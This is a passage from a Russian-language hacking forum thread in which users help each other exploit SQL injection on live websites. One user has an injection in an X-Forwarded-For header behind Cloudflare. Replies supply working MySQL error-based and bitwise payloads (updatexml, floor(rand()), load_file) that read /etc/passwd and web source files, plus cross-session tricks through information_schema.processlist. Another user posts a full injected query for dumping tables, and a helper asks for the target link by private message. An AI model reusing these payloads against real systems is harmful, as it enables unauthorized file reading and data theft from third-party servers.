Старый 26.03.2014, 21:04   #3151
madhatter
 
Регистрация: 11.01.2014
Сообщений: 86
Репутация: 1
По умолчанию

Цитата:
Сообщение от lolka Посмотреть сообщение
Имеется sql inj в хидере x-forwarded-for, проблема в том, что сайт за cloudflare.
1) ограничение на хидер <=100 символов, если >, ловим ошибку от cloudflare
Код:
Error 1000 DNS points to prohibited IP
2) file_priv = Y
Как прочитать файл? Никак не улаживаюсь в условие <=100 символов ...
Нашел настоящий ip сервера при обращении на прямую location('http://xxxxx.org'), где http://xxxxx.org за cloudflare ...
Может кто сталкивался, подтолкните на мысль
В принципе, сервер за кф должен всячески делать вид, что его нет и не отвечать на запросы.
Касательно же sqli, то в чем проблема? Вроде бы, сотни достаточно для записи. Покажите запрос и запрос. И да, сто символов - лимит на значение заголовка или на всю строку с заголовком?
madhatter вне форума   Ответить с цитированием
Старый 26.03.2014, 21:38   #3152
UXOR
 
Регистрация: 31.08.2013
Сообщений: 3
Репутация: 0
По умолчанию

Код:
SELECT id FROM testtable
- все прекрасно работает,

Код:
SELECT id FROM ((select table_name from information_schema.tables where table_schema='test' limit 0,1) as a)
- не пашет #1054 - Unknown column 'id' in 'field list'

Подскажите,пожалуйста, в чем дело?
UXOR вне форума   Ответить с цитированием
Старый 26.03.2014, 23:29   #3153
lolka
 
Регистрация: 02.06.2013
Сообщений: 14
Репутация: 0
По умолчанию

madhatter Да, забыл написать, что скуля error based поэтому в 100 символов и не укладываюсь.
На второй вопрос - да на значение заголовка лимит.
lolka вне форума   Ответить с цитированием
Старый 27.03.2014, 08:04   #3154
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

UXOR,
PHP код:
SELECT id FROM testtable LIMIT 1 
Так вы получаете колонку id из таблицы testtable.
PHP код:
SELECT id FROM (SELECT table_name FROM information_schema.tables WHERE table_schema 'test' LIMIT 1) as 
Так вы пытаетесь получить колонку id из таблицы, которая формируется подзапросом, но её там нет. Вы можете сделать так или так:
PHP код:
SELECT id FROM (SELECT table_name id FROM information_schema.tables WHERE table_schema 'test' LIMIT 1y
SELECT 
FROM (SELECT table_name FROM information_schema.tables WHERE table_schema 'test' LIMIT 1
NameSpace вне форума   Ответить с цитированием
Старый 27.03.2014, 09:09   #3155
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

lolka, какой запрос вы используете? Вроде error based вектора заметно короче обычных. Возможность записи присутствует? Экранирование производится? Однократное? Фильтрация или замена есть? Подключение к СУБД постоянное (connection_id())?

Если возможность записи присутствует:
PHP код:
*updatexml(1,concat(0xC,mid(load_file(load_file('/tmp/path')),1,32)),1)

// /tmp/path - В этот файл вы записываете путь, который нужно прочитать.

// Простое чтение:
*updatexml(1,concat(0xC,mid(load_file('/etc/passwd'),1,32)),1)
*
updatexml(1,concat(0xC,load_file('/etc/passwd')),1
Если подключение постоянное:
Код:
@:='/var/www/index.php'
@:=load_file(@);
*(select min(1) from information_schema.tables group by concat(mid(@,1,64),floor(rand(0)*2)))
Помимо error-based есть другие способы эксплуатации, например boolen-based? Инъекция в SELECT?

Для вашего случая есть векторы межсессионной передачи информации - передаете имя файла в одном запросе, читаете в другом, однако, пока не получается сократить их до нужной длины.
PHP код:
// Запрос 1:
*'/etc/passwd'*sleep(X)

// Запрос на чтение без оптимизации:
updatexml(1concat(0x3Amid(load_file((SELECT mid(infoABFROM information_schema.processlist WHERE id C)), DE)), 1)

// Запрос на чтение c оптимизацией, error-boolean (побитовый метод):
rlike elt(ord(mid(load_file((SELECT mid(info,A,min(B))FROM information_schema.processlist)),C))XXX+1,0x0)

Где XXX:
- &1
- &2
- &4
- &8
- &16
- &32
- &64
- >>

Последний раз редактировалось NameSpace; 28.03.2014 в 07:10..
NameSpace вне форума   Ответить с цитированием
Старый 27.03.2014, 19:06   #3156
UXOR
 
Регистрация: 31.08.2013
Сообщений: 3
Репутация: 0
По умолчанию

Цитата:
Сообщение от NameSpace Посмотреть сообщение
UXOR,
PHP код:
SELECT id FROM testtable LIMIT 1 
Так вы получаете колонку id из таблицы testtable.
PHP код:
SELECT id FROM (SELECT table_name FROM information_schema.tables WHERE table_schema 'test' LIMIT 1) as 
Так вы пытаетесь получить колонку id из таблицы, которая формируется подзапросом, но её там нет. Вы можете сделать так или так:
PHP код:
SELECT id FROM (SELECT table_name id FROM information_schema.tables WHERE table_schema 'test' LIMIT 1y
SELECT 
FROM (SELECT table_name FROM information_schema.tables WHERE table_schema 'test' LIMIT 1
Спасибо! Но значение id не выводится, выводится под id название testtable.
UXOR вне форума   Ответить с цитированием
Старый 28.03.2014, 07:09   #3157
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Цитата:
Сообщение от UXOR Посмотреть сообщение
Спасибо! Но значение id не выводится, выводится под id название testtable.
Аа, вы хотите вывести id из таблицы table_name? Нельзя, нельзя так. Все имена прописываются ручками, и никак иначе.
NameSpace вне форума   Ответить с цитированием
Старый 29.03.2014, 01:32   #3158
sbrf
 
Регистрация: 29.03.2014
Сообщений: 1
Репутация: 0
По умолчанию

Знатоки!! Помогите раскрутить одну SQL.
URL привести не могу, вот полный SQL запрос:
Код:
SELECT DISTINCT sc.id,sc.published,sc.template,sc.pagetitle FROM table sc LEFT JOIN table2 
dg on dg.document = sc.id WHERE sc.id IN (1,2,3) AND sc.published=1 AND sc.deleted=0 AND (sc.privateweb=0) GROUP BY sc.id ORDER BY sc.pagetitle [SQL_HERE]
Там где [SQL_HERE], соответственно имеем иньект. На его место я вставляю:
Код:
(1)OR(SELECT(1)FROM(SELECT COUNT(0),CONCAT((SELECT(CONCAT_WS(VERSION(),(SELECT VERSION())))),FLOOR(RAND(0)*2))FROM(INFORMATION_SCHEMA.TABLES) GROUP BY 2)A)
И на первый взгляд всё работает, выдаётся Duplicate entry '5.4.32' for key 'group_key'
Но как только я пытаюсь вывести информацию из любой таблицы, к примеру таким SQL запросом:
Код:
SELECT DISTINCT sc.id,sc.published,sc.template,sc.pagetitle FROM table sc LEFT JOIN table2 
dg on dg.document = sc.id WHERE sc.id IN (1,2,3) AND sc.published=1 AND sc.deleted=0 AND (sc.privateweb=0) GROUP BY sc.id ORDER BY sc.pagetitle 
(1)OR(SELECT(1)FROM(SELECT COUNT(0),CONCAT((SELECT(CONCAT_WS(VERSION(),(SELECT COUNT(*) from table)))),FLOOR(RAND(0)*2))FROM(INFORMATION_SCHEMA.TABLES) GROUP BY 2)A)
Я получаю неизвестную для меня ошибку: Table 'table' doesn't exist
И как бы я не крутил SQL, от неё избавиться никак не могу.
Буду благодарен если кто подскажет как правильно составить SQL запрос в моем случае, чтобы выудить произвольную информацию из доступных таблиц.
Спасибо.
sbrf вне форума   Ответить с цитированием
Старый 29.03.2014, 01:48   #3159
madhatter
 
Регистрация: 11.01.2014
Сообщений: 86
Репутация: 1
По умолчанию

Цитата:
Сообщение от sbrf Посмотреть сообщение
Знатоки!! Помогите раскрутить одну SQL.
URL привести не могу, вот полный SQL запрос:
Код:
SELECT DISTINCT sc.id,sc.published,sc.template,sc.pagetitle FROM table sc LEFT JOIN table2 
dg on dg.document = sc.id WHERE sc.id IN (1,2,3) AND sc.published=1 AND sc.deleted=0 AND (sc.privateweb=0) GROUP BY sc.id ORDER BY sc.pagetitle [SQL_HERE]
Там где [SQL_HERE], соответственно имеем иньект. На его место я вставляю:
Код:
(1)OR(SELECT(1)FROM(SELECT COUNT(0),CONCAT((SELECT(CONCAT_WS(VERSION(),(SELECT VERSION())))),FLOOR(RAND(0)*2))FROM(INFORMATION_SCHEMA.TABLES) GROUP BY 2)A)
И на первый взгляд всё работает, выдаётся Duplicate entry '5.4.32' for key 'group_key'
Но как только я пытаюсь вывести информацию из любой таблицы, к примеру таким SQL запросом:
Код:
SELECT DISTINCT sc.id,sc.published,sc.template,sc.pagetitle FROM table sc LEFT JOIN table2 
dg on dg.document = sc.id WHERE sc.id IN (1,2,3) AND sc.published=1 AND sc.deleted=0 AND (sc.privateweb=0) GROUP BY sc.id ORDER BY sc.pagetitle 
(1)OR(SELECT(1)FROM(SELECT COUNT(0),CONCAT((SELECT(CONCAT_WS(VERSION(),(SELECT COUNT(*) from table)))),FLOOR(RAND(0)*2))FROM(INFORMATION_SCHEMA.TABLES) GROUP BY 2)A)
Я получаю неизвестную для меня ошибку: Table 'table' doesn't exist
И как бы я не крутил SQL, от неё избавиться никак не могу.
Буду благодарен если кто подскажет как правильно составить SQL запрос в моем случае, чтобы выудить произвольную информацию из доступных таблиц.
Спасибо.
А давайте я вам переведу текст этой неизвестной ошибки:
Код:
Таблица "таблица" не существует.
А происходит это у вас подзапросе:
Цитата:
...ORDER BY sc.pagetitle
(1)OR(SELECT(1)FROM(SELECT COUNT(0),CONCAT((SELECT(CONCAT_WS(VERSION(),(SELECT COUNT(*) from table)))),FLOOR(RAND(0)*2))FROM(INFORMATION_SCHEMA.TABL ES) GROUP BY 2)A)
По возможности, все-таки скиньте линк в лс, покрутим вашу скулю.
madhatter вне форума   Ответить с цитированием
Старый 29.03.2014, 02:07   #3160
Enigma
 
Аватар для Enigma
 
Регистрация: 17.06.2013
Сообщений: 37
Репутация: 12
По умолчанию

Если mysql-запрос обращается к несуществующей таблице и бд можно ли провести инъекцию?
SELECT unexist FROM unexist.unexist WHERE id=(тут инъекция)

Догадка подсказывает что нельзя, но вдруг я ошибаюсь.
Enigma вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot